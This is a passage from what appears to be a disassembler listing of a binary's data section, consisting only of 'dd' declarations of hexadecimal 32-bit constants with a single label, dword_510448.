		dd 0AE65BFBEh, 0F17AC700h, 0C9536D35h, 0D525074Ch, 226313h
		dd 0EEF91417h, 0CFC33200h, 4E05D192h, 0F40C1A7h, 0C608202Eh
		dd 0D6134740h, 4D44100h, 36C5946Fh, 277C9Ch, 0FEDD1EE3h
		dd 57C20D88h, 0E737E800h, 1F2624B6h, 0D2733F4Ch, 0D487A4h
		dd 7020B9Dh, 51982380h,	89D60938h, 0C70D72h, 1540B1ADh
		dd 1045006Fh, 0A3832A17h, 1F0BD23Eh, 31A0B38Eh,	570105Ch
		dd 5CC359AFh, 0D2963B88h, 47A96C02h, 4864FBh, 960725DBh
		dd 3D5EFE46h, 6D4D8101h, 8BA57BF8h, 458F3980h, 98419D92h
		dd 0E603F702h, 0C18C397Eh, 1518D59Ch, 0CA74112Eh, 0C9404021h
		dd 964112Ch, 0C8EAF67Dh, 0E9420CCFh, 0D4E61061h, 21F4DC43h
		dd 7DA9F20h, 36FE7200h,	0BE0E4C96h, 5B090073h, 17F52FFFh
		dd 1203B73Eh, 4A82FA37h, 113DA136h, 0DCE2087h, 851DC016h
		dd 7D1C7B31h, 3E115EB5h, 0F1BADE0Fh, 0D6CD8420h, 0B4005CF9h
		dd 90CB349Bh, 8AD8D7h, 436DCC76h, 0FFF8098h, 0B68F091Eh
		dd 4E083800h, 0FD6FD85h, 0B07B7A25h, 2D3D7F60h,	700B802h
		dd 0F3BABC0Dh, 3D64568Bh, 18BAD5E8h, 6AFF540Eh,	960F80D8h
		dd 0DAF64F1Ch, 4A97F500h, 3FDBFCD9h, 7700D3CBh,	659A8C43h
		dd 5300900Ch, 58F47D91h, 0CB8F25h, 0E00520CDh, 8E046DFBh
		dd 24EDFCFBh, 0D107DB00h
		dd 8C535291h, 307EF435h, 371BB15h, 70E976E7h, 79016B69h
		dd 0EFB65190h, 81D4A291h, 24C603B0h, 3AEB368Fh,	0BD5C6CA0h
		dd 0FB067500h, 0D9640A9h, 1CEC0A44h, 88CFB3h, 4233285Bh
		dd 0FE00C9C7h, 7AA0F1D4h, 0C1EAEBh, 29F9555Eh, 0B51AD60Fh
		dd 57988103h, 15A28C4Eh, 0AC863191h, 5E3FA300h,	0DF946054h
		dd 16A15107h, 0B770489Fh, 0B093E439h, 438E00F6h, 1FF89925h
		dd 6A03CDD4h, 9C30E9C6h, 0A705D922h, 5C9BC5C8h,	0A57B4D47h
		dd 5B17D504h, 0E415400h, 0F85785DEh, 19C30024h,	0B24C9950h
		dd 4700893Eh, 0CAD853BBh, 3876F59h, 23B3559Ch, 293F1F25h
		dd 646C556h, 11EB4229h,	0A086581h, 1E0894E5h, 84BF90F9h
		dd 6E4460B1h, 0C5DF44E4h, 5686C342h, 38421560h,	3599EF00h
		dd 0A7C223A3h, 0A64E00B0h, 9EF69B6Bh, 9600B551h, 0E76F88F3h
		dd 0F75ACh, 0A88D0BF9h,	454F6A22h, 66058600h, 2E65E79Dh
		dd 75AF0070h, 10BECB0Dh, 8D009FEFh, 0B3F6CDFAh,	0D6FF46h
		dd 2B248FC2h, 43D7B75Ch, 2910370Fh, 0AA95C19Ch,	28E0597Ah
		dd 0E17D00F3h, 774EA85Eh, 0A30039B3h, 577854E3h, 3806C11Fh
		dd 0B7B277Ch, 0CC535695h, 0E698C00h, 0CB3AD82Ah, 34058384h
		dd 0B82F1459h, 7CB4A7h,	0B6467A12h, 0CC6BAA37h,	8F805001h
		dd 0ADF9C459h, 4C931430h, 0E0404B88h, 0D754009Ch, 0FCE044A4h
		dd 37077F84h, 72F5839Dh, 8FF2F330h, 73200002h, 5BC61C58h
		dd 4A246A92h, 3C00DA62h, 228D9D96h, 5F673D88h, 27822B8Ch
		dd 1A00E048h, 60E7753Fh, 81EB8Eh, 0F2AAF7D5h, 0D1ED4E10h
		dd 0AB907300h, 5B9F05C8h, 0B4800097h, 7F6920EAh, 3901A418h
		dd 5FC96B60h, 40209EFFh, 174600C4h, 0B67AB82Ch,	61858C7h
		dd 0F370FD9Ah, 3C6F002Eh, 8CA8E910h, 500072D5h,	92203722h
		dd 0FD412C3h, 4BD16C1Bh, 0B9EAEDC0h, 33008338h,	0AA564EF2h
		dd 8BF595h, 4D35D367h, 14850525h, 9901D7E4h, 9F59E727h
		dd 13C47E24h, 6EBF00A2h, 73E60EC3h, 1A14B950h, 0A974DDh
		dd 0F72DF47Bh, 1B7AA9h,	9F26F9D5h, 7DD76EA3h, 0C30001B0h
		dd 0EDDB2D13h, 9A8C496h, 0D3A639AEh, 0C8F79180h, 46F6786Ch
		dd 0C933E31Fh, 0FF050078h, 7094E8F5h, 25A01442h, 7C00E0CFh
		dd 49BD8B55h, 523D33E4h, 0BEC3803Eh, 606A2417h,	0A8007CFh
		dd 0B0DB6381h, 0DE45DC7Dh, 0D8B18900h, 5D9BBDFFh, 75950018h
		dd 0D5EA7298h, 70903BA7h, 0CB03DD7Eh, 0CE77BE79h, 0A8508B24h
		dd 1871ED1h, 27E9C05Bh,	43D770A4h, 6B021B4h, 7C0078B8h
		dd 0A13D80A6h, 0F10C5Eh, 244C9BA2h, 0E75DE512h,	0BEF6260Bh
		dd 0B6C9063Ch, 0E4520030h, 9DEEC246h, 9E07FB04h, 4A6C9508h
		dd 8178E5E0h, 330F0002h, 0D9A9085h, 0E8FCDAFEh,	6472F100h
		dd 0A091880Ch, 0BCA100C6h, 0C303D9F7h, 0DD01B81Bh, 1D15BD8Dh
		dd 9D60C8E5h, 0A8F03D4Ah, 4153D61Dh, 454BBFFAh,	0C01DDD27h
		dd 801D8F11h, 0E500B516h, 60064341h, 0A3A60B78h, 5DE249h
		dd 0C4A15ECh, 0CB8800FBh, 4E67D895h, 0B800E890h, 9E944C96h
		dd 3C16481h, 0F2770BADh, 6298C395h, 4500D451h, 802E6CCFh
		dd 108281h, 0D54C0AE4h,	0DBA20B07h, 8498E000h, 70161712h
		dd 6BDA0EF5h, 76831014h, 0D6A87F35h, 530EE7E5h,	876765C7h
		dd 38C0F6B5h, 62A90Ah, 0B836EF14h, 988B3AEAh, 0FBDCC900h
		dd 5E27301Ch, 8819007Ch, 6D4D5BEBh, 7500B916h, 6090BAD1h
		dd 9202Dh, 27D5D23Fh, 0C7D4C69Fh, 3B23A003h, 0E82F17E6h
		dd 109E7Ah, 667D5D5Eh, 0C8BA506Bh, 2D110801h, 9C8DA3C3h
		dd 385020h, 12E6826Fh, 91BAEAFEh, 652CD900h, 0ABD6CA5h
		dd 935F3A70h, 44F35180h, 169FA1F2h, 0B3FBD100h,	55CFDE0Bh
		dd 576200F7h, 0DF27042Ch, 0BF0ACD6Eh, 0AC385B67h, 0B500D813h
		dd 0F0E4ECEh, 3F3C00AFh, 0DB595303h, 2C00F892h,	0E2C879B7h
		dd 1F665CDDh, 809F13F7h, 767DC449h, 8B008FE4h, 0A8E68946h
		dd 0E19233h, 95F87C1h, 2B1395F6h, 89EB3B02h, 0E028D3E3h
		dd 311CF34h, 0BA254EBBh, 71B054A8h, 0A7782D2Fh,	0B14AF0E7h
		dd 0C494000h, 0A903C9E2h, 0EC7DC1h, 0C6BB87BDh,	810E9D75h
		dd 39006F71h, 3693550Fh, 7F4CAF31h, 51A10058h, 287BF3E4h
		dd 7D00DBD9h, 6AAA6CB7h, 31E05Ah, 4858B91Ch, 950A027h
		dd 7089D300h, 3C1AF7EDh, 55C246Bh, 0DF5D0B7Ch, 446080FFh
		dd 3BC264E9h, 571D2D18h, 0FEA40075h, 1C25D9D1h,	301A701h
		dd 477B9236h, 9DEE8C8h,	3CCB3244h, 765FA900h, 4900B579h
		dd 6BD6B663h, 4987264Ah, 6A03F48Ch, 5244E29Ch, 0D321CCA8h
		dd 42E8C60Fh, 0C07BCF5Fh, 4BBA6F2Ch, 0FB67031Ch, 21EC0D46h
		dd 0C9DAB400h, 14C30231h, 809201DDh, 9BD189C0h,	107A301Fh
		dd 0BDA63500h, 4821F846h, 98230F38h, 316C06CBh,	0F701D0D4h
		dd 61EB81BAh, 12E8EEB9h, 995A01BBh, 6A8B0FBh, 0CA2ED024h
		dd 0B28E0500h, 162201BCh, 83F2055Ch, 81D27775h,	0E0CEB7E9h
		dd 84006025h, 0D7BB0A73h, 986C3Fh, 5CBE2B5h, 6A74C733h
		dd 411D2300h, 0E1F32BB9h, 0CDD005Bh, 29647E10h,	0DE1F61A2h
		dd 873EC9F0h, 0D2B1BCDh, 635D95C0h, 3F6C0714h, 0E04565C0h
		dd 773A7ABBh, 65A4800h,	0DB2BC282h, 91392D66h, 20208DCh
		dd 81BCAB18h, 63019F94h, 0FA09660h, 24CB0B5Bh, 0EAF86560h
		dd 20FCD47Dh, 0AED98F07h, 6F0072B7h, 0C2C71h, 1E76FA08h
		dd 9E93EF58h, 184C31Eh,	5BBF2840h, 0FA9471h, 981D2B97h
		dd 237F3BB3h, 0AFB48F00h, 9E209A91h, 37473FBh, 813A28A7h
		dd 0D8030D9Dh, 2B4F4684h, 0D81102C2h, 431E1660h, 23103960h
		dd 3FB43901h, 85D1269Eh, 0E0DAC852h, 4F11054Bh,	3DA87Eh
		dd 40E8E2DFh, 74BCE5h, 50202624h, 7D137C3h, 0CB54EC00h
		dd 1CE805Eh, 468900B2h,	813140Ah, 1E00CA31h, 97DA55D1h
		dd 0B94A4h, 0EAF0D422h,	72B2A2F2h, 0A0011307h, 1E44A6D2h
		dd 0D14067C0h, 0F0C800A1h, 0F1CD22D8h, 9400BEF5h, 0EFCD6DAh
		dd 1998C4h, 107D6086h, 1318690Ch, 89676C00h, 36268EDDh
		dd 0E9DB0FCCh, 28E040DAh, 0BD09FDD3h, 16B57D00h, 69338ABh
		dd 0E170F30h, 5380E9C6h, 0CFBFC552h, 168F590Fh,	7FD9E03Dh
		dd 0F37C27h, 100AB3C6h,	494D70AAh, 7537A214h, 6AA600BCh
		dd 0A043F72h, 0E19500D2h, 45F15601h, 5E03B902h,	8597201Ah
		dd 0E34B8EFh, 79950058h, 5DD6AF6Ch, 9C0F9640h, 606D53B8h
		dd 3FCD7BA0h, 7F90C6h, 394569F2h, 3E370F84h, 7B24757Dh
		dd 803BD01Bh, 0EEBA154h, 3AAFEE0h, 4262D689h, 1CE0DDC2h
		dd 113FFD7Eh, 197F8030h, 4564902Ch, 0D71B0083h,	0E3299955h
		dd 0F300787Ah, 0B0392718h, 1EF7EE70h, 47ED938Ch, 17D52E97h
		dd 809D07D6h, 827CE2F6h, 73D83Ah, 4BBE9C4Ah, 1CF81BC1h
		dd 40673889h, 9AE1C010h, 2490F348h, 2997540Eh, 89BE603Ch
		dd 0AF5E16h, 0D2227F43h, 6B41CFF6h, 2D24567Ah, 310030A3h
		dd 9617C2E7h, 33AB01C7h, 52FF04D8h, 63C8CB9Ah, 0C94892E0h
		dd 6FA51FECh, 5638FA40h, 6C04C5h, 1C11211h, 1517DE3Ah
		dd 9E554B00h, 0FB2DDBE7h, 36063A85h, 0B66213h, 11E8613Eh
		dd 0F20414A6h, 981C24F1h, 1EC28490h, 4A9700C5h,	0E2896656h
		dd 0F009C07h, 75245894h, 9265E5Fh, 2A1A7428h, 30087807h
		dd 321F444h, 0F2124805h, 80009DAEh, 66351C52h, 3CCD0043h
		dd 4623EE89h, 0A8981044h, 0F6A07000h, 569E4E8Ah, 0EB170174h
		dd 0B47501C8h, 8DCCE42Ah
dword_510448	dd 0D6603D75h, 3A7A819h, 35DD18ACh, 1D1360F5h, 436DE703h
		dd 0A88DA6DBh, 18357F2h, 254F6E55h, 40D8D023h, 35DB52ACh
		dd 300B8C07h, 215019B3h, 3F0F17h, 396EBB80h, 57E5BCC8h
		dd 55514700h, 22BEFC7Fh, 0FFA20106h, 0D002F82Bh, 205E71DDh
		dd 56F8EF80h, 92FC5E03h, 0C0C20AAAh, 4FEBF7h, 8A6328Ch
		dd 0B4A56235h, 1AFECFE6h, 9C041100h, 0AEA1EBAFh, 1AA7B3Fh
		dd 45CDD43Ch, 0C0F52341h, 0AB60ECE5h, 3D9569BCh, 0C6BF001Ch
		dd 10CC4919h, 3005602h,	5184FBC5h, 0ADCF63h, 0F2DAE23h
		dd 0EF062A13h, 80C6816Eh, 0DE98FFF8h, 0D88E00D1h, 6EF95AE0h
		dd 73F8CB22h, 0F1FD5902h, 40576C68h, 169CC5FFh,	12829441h
		dd 1DE001F4h, 0DCB16A54h, 0B30065B5h, 91F50C4Fh, 498951h
		dd 2DD7CB0Dh, 0B5D8ABC0h, 489BEA00h, 9E63FE74h,	0E9B834h
		dd 1F04F259h, 7FF9CDE5h, 19CBDF07h, 7D10216h, 34C4B847h
		dd 0C15A3839h, 9A69428Eh, 96B946C0h, 0C607CA4Fh, 632E4A71h
		dd 88B77970h, 0E777071Dh, 80751FBBh, 3AAABD5Eh,	0D651D900h
		dd 0E1EB4799h, 0AD3B0026h, 0F2589036h, 7C00F0A6h, 0AE609EEFh
		dd 604EAC45h, 0BC48800Bh, 100097B3h, 0C62B3729h, 54E84Dh
		dd 3EF1346Dh, 0CD314526h, 3C14CB0Eh, 7E508167h,	0FC60330Fh
		dd 481480Dh, 0E2AE603h,	0E9B067ABh, 0D801B187h,	6E533D6Fh
		dd 0EFF05F05h, 8862006Ah, 5A801E6Dh, 0E600D504h, 55493310h
		dd 72C6EF92h, 442000EDh, 947D90FEh, 6A048A04h, 365AEE4Ah
		dd 0F158A5C3h, 1B20B0FAh, 2087003Ch, 0B9A5CC19h, 5D0731C7h
		dd 0A3F77EABh, 41C80039h, 1A7B070h, 1226E468h, 975E7Bh
		dd 0D42031h, 759490F9h,	0E4303E11h, 0EBAD3600h,	7A577D9Ch
		dd 2D68004Dh, 0D0449F55h, 0AF00CCE9h, 8533FB9h,	4CD688CBh
		dd 8400F86Ch, 0D980D24Bh, 0B200FB70h, 0ED747FDAh, 8CCDDBh
		dd 0A35F1E4Fh, 8554102Fh, 8B28D13Bh, 9DCFA0h, 5DB9DFC4h
		dd 92FF809h, 0F2664043h, 252D080h, 7800C4BBh, 0A06731FAh
		dd 724102Bh, 54087E43h,	0EB304090h, 0C400E629h,	687539C2h
		dd 1B1DE47h, 22411609h,	0C07CE743h, 0A83ED064h,	0B7778018h
		dd 461A2A4Ah, 0FBCB00AAh, 2B655A9h, 1259BF90h, 25FD0784h
		dd 33C05911h, 5807B062h, 7600703Bh, 0D18E025Ah,	6500E6B5h
		dd 416A53B4h, 24F296h, 8490A6F4h, 274C7EE4h, 48A8B700h
		dd 4A3FAC0Ch, 25F03B6Ch, 7CE94D02h, 50C07409h, 70B0C494h
		dd 5FB60200h, 0F377DEF7h, 5BFB00D7h, 0C3D540E6h, 0C4008F14h
		dd 0EDEC03F0h, 24CC7A28h, 7000692Ch, 0AC001837h, 0AFF74285h
		dd 0E2230F65h, 0BED50729h, 682FD2h, 0E65EAC4Ah,	4013578h
		dd 8AC35540h, 2C21DCBEh, 73DEEFE0h, 19A0082h, 0A828F4B7h
		dd 0BF09FB7Ah, 0D39E5Fh, 0DC9BB818h, 6D220B39h,	0C40C1A04h
		dd 9800683Ch, 0A71BD02Ah, 0A28F641h, 4246357Eh,	678B3D0Ch
		dd 48009ACAh, 781F29D8h, 63471D00h, 870473FDh, 21A16039h
		dd 6214727Ah, 26ED9400h, 0C87F9241h, 0AFB031h, 99B4F0Ch
		dd 12784E1Eh, 0B3B8A45Eh, 8495ED07h, 30652233h,	1AF0E4C0h
		dd 86BDA200h, 0E70249DCh, 0BAD20037h, 7457198Bh, 0D51D5945h
		dd 3580F4CFh, 0F753F6BBh, 0F57D17A5h, 8C0F1041h, 1046B600h
		dd 0F36FBE9Ah, 34997A07h, 86005E47h, 0DF63AEh, 0EE248D58h
		dd 95C5C1DAh, 0BCA1D517h, 0D1058840h, 23E34Ch, 4D36F158h
		dd 52CE9237h, 5CD60100h, 85033069h, 3CF3241Bh, 0FDC2018Ch
		dd 40798D17h, 0CACBC0B8h, 8A324C03h, 0F0768938h, 0A09DAF7Eh
		dd 14644094h, 8C91CA66h, 89F7551Eh, 0D0A03D78h,	5DEF25BAh
		dd 8F129C00h, 1024F38Ch, 8A7964h, 0DA4B9B2Fh, 523C2847h
		dd 0ACF85A1Eh, 357301C0h, 2A36F90h, 0EEF7AA4Ch,	3CC00682h
		dd 36002A51h, 0D527C047h, 71A22CF6h, 161F019Fh,	0BB11E2D4h
		dd 0E4F0DC71h, 0F115DE0Eh, 79805EEFh, 42F2806Eh, 3B760002h
		dd 6CB41BAEh, 7D00DCDAh, 55ED9D66h, 1EF36015h, 40C99E53h
		dd 0B4E525E1h, 5A00200Bh, 4EEB0928h, 11ED5EAh, 89D34F22h
		dd 0F03AA4A1h, 0CE1DAF43h, 0CD81F198h, 5347FC29h, 2FFAD0C3h
		dd 0DECA00A1h, 1461E28Dh, 0A409D33Eh, 741B5Dh, 7087424Bh
		dd 4C4A00E8h, 684E01Ah,	98F6B0BDh, 767880E9h, 0F86F297h
		dd 882C024Eh, 587A1BF4h, 27B00C60h, 82532600h, 0EF19302Fh
		dd 6B3900FAh, 1E670ABCh, 0DD00DA11h, 0E5E1A261h, 0F0FD77h
		dd 99472406h, 0A3E2329Eh, 2FCBC700h, 3DBCB9B1h,	96AF0186h
		dd 9369BA1Eh, 2659EC57h, 0A6CC70F5h, 193C6217h,	535200BEh
		dd 4BC4DC0Eh, 0F4300CB0h, 92A810FBh, 40AF7832h,	0B40C2AE3h
		dd 20F1BA06h, 167C7D3Dh, 0E5C7B3h, 0F81C4308h, 1A04C0A5h
		dd 0B43C4998h, 23F5CA0h, 0CB9CD76Fh, 9CC013D9h,	4302F0F9h
		dd 0BB671C5Ah, 3B80813Eh, 31B0F47Ah, 90A1E499h,	1D00DFE8h
		dd 3A13BB6Dh, 7E3FB166h, 0D5C50588h, 0C6E88462h, 59009881h
		dd 3CCF21B3h, 0F0A454Dh, 0BDE4BBD3h, 7CC7360h, 0A81ECE39h
		dd 84C3446Eh, 0D094B6EFh, 0FC96A79Eh, 9AC598DAh, 490D18Ch
		dd 6F4EF4ECh, 0A5432400h, 39A00A31h, 278F753Ah,	88CB0172h
		dd 119FD283h, 871F6BE0h, 3E54B03Eh, 0FDCF0F42h,	0ACA1809Ah
		dd 6014057Dh, 3C4859E3h, 2627CEDh, 10361D50h, 73254DBEh
		dd 32BC03E7h, 85EC93EAh, 3070D800h, 961B9Fh, 1AD36A90h
		dd 0DC8CB19Dh, 0F7C1E30Ch, 0A866B9F5h, 803DF960h, 1130606Dh
		dd 98A559A3h, 12CF2CDh,	0F1961C7Fh, 503289B1h, 0FCAE0770h
		dd 0AA6A2000h, 3B706314h, 80AF3BE7h, 491F6D86h,	8800E88Dh
		dd 0D4A506FAh, 0CF11D3Ch, 381A4DBCh, 74399669h,	4CD611h
		dd 0F1656FA6h, 0E83BBA12h, 20B949A0h, 117C4F04h, 48709025h
		dd 7018CD82h, 0D4A8847Ah, 0C1FC9038h, 9E68CF38h, 4C1881CEh
		dd 127B990h, 97F0F3F1h,	0B4A580C5h, 2E15E618h, 151DB51h
		dd 35923B7Ch, 0C15C981Ch, 0B1F6D319h, 7C498A00h, 0A5463347h
		dd 0EC39504Ch, 88C00345h, 77AFB666h, 0CF20FB80h, 9C9ADF3Ah
		dd 0FA10BBC1h, 49CA1618h, 8E008659h, 50391317h,	17C9ECD3h
		dd 2F49607h, 66D24069h,	0B0009470h, 0DD3452CFh,	75BC360Fh
		dd 2F68CCB3h, 0B9C020CEh, 70F650FBh, 6E4808h, 0CD43FD03h
		dd 0A018C268h, 0F0109B44h, 0ECA1818Eh, 0A8C00282h, 0EA6E3EE1h
		dd 10B0A8BDh, 9A5803E8h, 2E56FC43h, 0A4909FEh, 0DF00014h
		dd 3BEE6057h, 38A349A8h, 8CE8A440h, 923DD480h, 0A41AE529h
		dd 0F0D795h, 0C37C47E0h, 394D6235h, 46810703h, 896FBBE2h
		dd 0F8D44054h, 5B006934h, 0B43295A3h, 0C08F30A9h, 283B75C0h
		dd 0E700CDECh, 745C5265h, 7D5B7h, 94733EA0h, 0E1D27CE4h
		dd 0B6108D00h, 8B03BA50h, 0C2530001h, 62A57A0Dh, 26003AA7h
		dd 0CB85EC4Fh, 759B4h, 0EB1BF608h, 31378633h, 0C6AF200h
		dd 0E8F45166h, 40CA0062h, 61205CBCh, 2100635Eh,	0F086A182h
		dd 9665A47h, 0E92ACFB7h, 37B3CC00h, 0B10F269Ch,	0EC1349h
		dd 650A502Bh, 14A800BDh, 5B4F8D9Eh, 0E007411h, 853B46CAh
		dd 71C42707h, 93A800D0h, 3995D5E2h, 70C15B1Dh, 0E0EF1273h
		dd 7EEA20FCh, 115F068Ch, 59AE5436h, 8670B0FAh, 80CAB63Ah
		dd 0FBE9829Eh, 1F7F618h, 13DCA664h, 0DCB8BA02h,	636A0438h
		dd 6007D0A1h, 0D8CCA8E2h, 3E0F0C5Bh, 0CD590608h, 0F203C3EEh
		dd 863C9558h, 0DA910056h, 82B2E2B8h, 38C064FEh,	71624F6h
		dd 0C78F0088h, 0CFD84A52h
		dd 6A02AEC9h, 6745A520h, 31B580F2h, 1934BA8h, 95D9367Eh
		dd 20E6E7B1h, 8D0027B7h, 0FC7735B0h, 60919AFAh,	2480083Bh
		dd 0F44CE886h, 264F008Dh, 41DFAE38h, 43BB018Eh,	0D32AC491h
		dd 0F1CF486h, 421B29C8h, 0B8241752h, 0C710CF22h, 1884882Dh
		dd 6D085C89h, 22F3F420h, 45502573h, 31841028h, 0FF29F73Ah
		dd 52BE002Eh, 806400C6h, 0C3A169E0h, 190089C1h,	5B6F545h
		dd 0DDAD8Bh, 0EEB3262Dh, 15EC2BFAh, 862F9E00h, 32F5E5ACh
		dd 0C29700DEh, 9373F20h, 0E600A441h, 5E26C674h,	713EF9h
		dd 0AC20D386h, 915790CFh, 3CEE6B00h, 0D15EB9EBh, 0F451F3Fh
		dd 7264C0C8h, 0D93B65C4h, 0D3B16807h, 4150C087h, 938E75h
		dd 0BC85CB44h, 0BB96FDB6h, 36BCFC50h, 33CE0800h, 9B3E3DA0h
		dd 8D890087h, 88636604h, 1B006BC1h, 98EE7FC7h, 1F3DB9FEh
		dd 4039F65Fh, 0F4B3E8A2h, 5703328Dh, 0B8A1FBB2h, 3C000F2h
		dd 1C08302Eh, 1A00AD8Ch, 0D1187855h, 18B6A239h,	88BAFF86h
		dd 970043DBh, 0E0C1809Ch, 54601Ah, 0EF6DF0C2h, 5EA0F30Eh
		dd 0E4C68800h, 44AB0A4Dh, 0FC5A00A8h, 8EEAADB5h, 0B1005069h
		dd 0F7B9C92Eh, 16C78802h, 35E5412h, 44CA06B4h, 0C32BACB8h
		dd 0AB1CFF06h, 0EA30985Ch, 63350039h, 34E42D62h, 0A43A74F3h
		dd 0BF8880CDh, 0B8F8720h, 0F855001Dh, 0AA02EAB4h, 79072AC8h
		dd 9589A87Dh, 0EFAF88E0h, 0D9DA0174h, 0E4606A7Ah, 5AAC404Ah
		dd 0D1052A64h, 0B503C462h, 0C96E8840h, 716FC289h, 51EE06E9h
		dd 1ED0DE02h, 23304A00h, 69C37752h, 0ED9D0072h,	4D3E9305h
		dd 0A70E5D35h, 60A5B1A8h, 5473D4BCh, 3C3300FAh,	4C9FB5Ch
		dd 0AF006819h, 5A0B7B3Bh, 0AB31B8h, 7F8DCC07h, 83FBE8DAh
		dd 39663Dh, 7EC487CFh, 0E94D82h, 10F5FA5h, 89B77073h, 308FB900h
		dd 5C0B34CEh, 130407AAh, 38CC32h, 4F536FE2h, 2372061Eh
		dd 63D480FAh, 0DB03EDA6h, 0EE8E0084h, 94688DCFh, 0E8046D38h
		dd 0FBBF5628h, 73DCF890h, 3A040082h, 6AEFD73Eh,	0ED03CA7Eh
		dd 0E4CD0FC8h, 0E8E80032h, 36A8C92Bh, 5F5CB31Ah, 415900A8h
		dd 0CD31C3E0h, 0E53A00FBh, 0C826207Eh, 5A00F42Eh, 8C872485h
		dd 1CA5CAFAh, 4CDC2C7Bh, 0A710C7DBh, 0FFB8E300h, 11969B8Ch
		dd 3DEA000Ah, 9277F843h, 34036AFDh, 2B855E3Bh, 0B406A89Dh
		dd 0F5DB00C2h, 0D89944F2h, 0A07E32ADh, 1D4BAB00h, 89FF711Ah
		dd 30BC73E3h, 0E220DABBh, 200269Dh, 7391B2CDh, 8D29C7h
		dd 4A6662Eh, 2BBA1D8Ah,	0FA06B800h, 9CA1C9D3h, 93230405h
		dd 875B1345h, 0F2D050F4h, 0C7000D6Ch, 5C3A4416h, 28D9D432h
		dd 48E87037h, 0A013047h, 0DC625821h, 0FD4C8179h, 397B80DDh
		dd 3A7FCE60h, 0E2839D60h, 0FAA06E09h, 1080DBB8h, 93CBD900h
		dd 3D6DAB99h, 8E4A07D6h, 6086451Dh, 78A58C01h, 7448E3E6h
		dd 92BB0030h, 0AE04E45Fh, 5C17001Fh, 50ADF3D5h,	70388AE3h
		dd 24D72403h, 0FFB4AF00h, 0A62706h, 0AC2C2885h,	0CB2D1AB7h
		dd 4F19BB00h, 0CC0ED542h, 9F7B00C8h, 52673C39h,	0FB0097B6h
		dd 0DE2A6115h, 708A5D5h, 0DB69C940h, 8E669035h,	370F9583h
		dd 0A0AFFEB0h, 8BDA4DD3h, 81FCF3FCh, 0D0E47Eh, 0BE9B4632h
		dd 87A4E7F2h, 0F0096E2h, 70D6619Dh, 95212Eh, 5294FDD5h
		dd 806DDC04h, 5E4D000h,	0F0A862DDh, 0FCDB002Ch,	0D53A5F0Fh
		dd 0AFF2116Ch, 0CB37E218h, 67B6BAh, 50F885B3h, 91353C4Ch
		dd 65AD1A03h, 0CF3A942Bh, 4AC860DEh, 7D31501h, 24EF5F04h
		dd 0B67BD06Dh, 18EA5BB1h, 3DB71300h, 5C8434DAh,	9DB000FDh
		dd 0D39FB9B5h, 3E07D9F5h, 0E7F0EA67h, 0FCA9276h, 0ACE3AB78h
		dd 80064464h, 0D481427Dh, 0B61EB800h, 0FD7D409Eh, 4F160098h
		dd 0AFBCCB96h, 6491B76Bh, 0F5B90Eh, 418F3F97h, 98000F7h
		dd 81DA2120h, 0A0001605h, 0B2DEC7E8h, 16BB667h,	0B8C03BBDh
		dd 80CC5862h, 0EB95345Eh, 5DC728h, 0E28E8A90h, 64A3F8ACh
		dd 75623600h, 0ECA604EDh, 0AEC50298h, 0A0B54387h, 0B0C044E3h
		dd 7400A9C7h, 0E869794Dh, 0F509D57Eh, 809BC0h, 9005F11Ah
		dd 332EA5CDh, 4D814402h, 607776A8h, 0FA9804h, 59468E99h
		dd 4956B3EFh, 32F60300h, 966E44Ch, 5A471F4h, 200C4B46h
		dd 0CD80810Eh, 0A3FF2040h, 0D1FB1700h, 4202C143h, 0BEFC0280h
		dd 0D6BC725Ah, 33A430C0h, 5590A100h, 0FC0FA56Ch, 0C7EE0345h
		dd 0A9F7071Bh, 0C175F8C8h, 0DE4CED00h, 0FCB5D1A4h, 0D96207FEh
		dd 0C97D0E5Ah, 0A3756780h, 0BE05AA0Ch, 498E69DCh, 7B693C0h
		dd 1C7CFA4Dh, 87BC0260h, 0A00DE32Bh, 9138AD63h,	14971600h
		dd 0A62E3C62h, 1F2A0060h, 0C9BED235h, 0CD754529h, 3498C00Eh
		dd 59570028h, 1C5CFh, 6C294F39h, 0D240E65Ah, 1F001AFEh
		dd 0F1964584h, 0ED7D2Eh, 0EF4FB7FBh, 0E66349D4h, 45F80C09h
		dd 8EDB0022h, 34A79DFh,	0D8B38046h, 0CBB0BC06h,	941733F1h
		dd 0DC072688h, 71F0A3D3h, 39C81E7Ch, 0DC1DC428h, 0D788C099h
		dd 0CE67ADBDh, 0B81AB100h, 6CC7FA30h, 0F890183h, 1E9BF07h
		dd 0CBF0740Dh, 0AE49DC00h, 272CB366h, 3303008Ah, 0B9E3B81Fh
		dd 0B100DAD7h, 2B3BFFC4h, 0FCDFFBh, 22EF5814h, 0D37BDBBh
		dd 44BF9D00h, 0EA0717A7h, 49C300D1h, 0EE6F387Ah, 700072ACh
		dd 8A8E9E3Dh, 12449BB2h, 5ED4CCh, 0C3F8C12Ch, 383E37C6h
		dd 4D21801Fh, 0A7609B09h, 8DF634h, 0BD7306Eh, 3D640E5Fh
		dd 9402A200h, 0C55BA160h, 20F7737h, 0B9232095h,	8140C958h
		dd 4B1EF5FBh, 550EEE62h, 2291E051h, 30200368h, 0B27A5A70h
		dd 0E4008027h, 0A75FDB21h, 0FEDF1C8Ch, 69A900CAh, 21BD5E1h
		dd 120076D8h, 3A25E2E6h, 0B08ABFh, 6A68847Fh, 4B0B4778h
		dd 0D5E0A51Ch, 3B89DD04h, 0E24E50C0h, 0DE540052h, 24468219h
		dd 85078EF1h, 60E3C9F0h, 0C86479C3h, 0A37774h, 9D28880h
		dd 93D83871h, 62322B02h, 60AE46FDh, 0A1EABDh, 0BC0D0C07h
		dd 8B4CEEDh, 16CD151Dh,	8E4C354Bh, 0C1FB87E5h, 6E94F1B0h
		dd 57FCD4h, 92223243h, 998DCB31h, 804A6000h, 7AB19AF7h
		dd 0B3360075h, 0B076C4FEh, 0E00D131h, 0D223B468h, 57610Ch
		dd 65BC7701h, 1527878Ch, 43DA3707h, 3010469Eh, 7A9C7Bh
		dd 127D8EF2h, 0A2F90F2Eh, 9D0C2F03h, 0E0E67E35h, 19CBC50h
		dd 52568A4Bh, 80835CF2h, 0E3945B88h, 183478EBh,	19877FD1h
		dd 983CA931h, 0A4718040h, 6E530F67h, 76F800E1h,	823E50C0h
		dd 2D50C17Ah, 0BC00E494h, 0B45411C7h, 1E97CBDEh, 40505910h
		dd 0C87AAD68h, 6E0707F7h, 8EC3A295h, 1EDFED80h,	739300D4h
		dd 0B203198Ah, 7E00ACAFh, 74793688h, 0FF9C108h,	4EEFE7F8h
		dd 965A22E0h, 0DCF32E59h, 200D7FFh, 6A24648Ah, 1D3744Eh
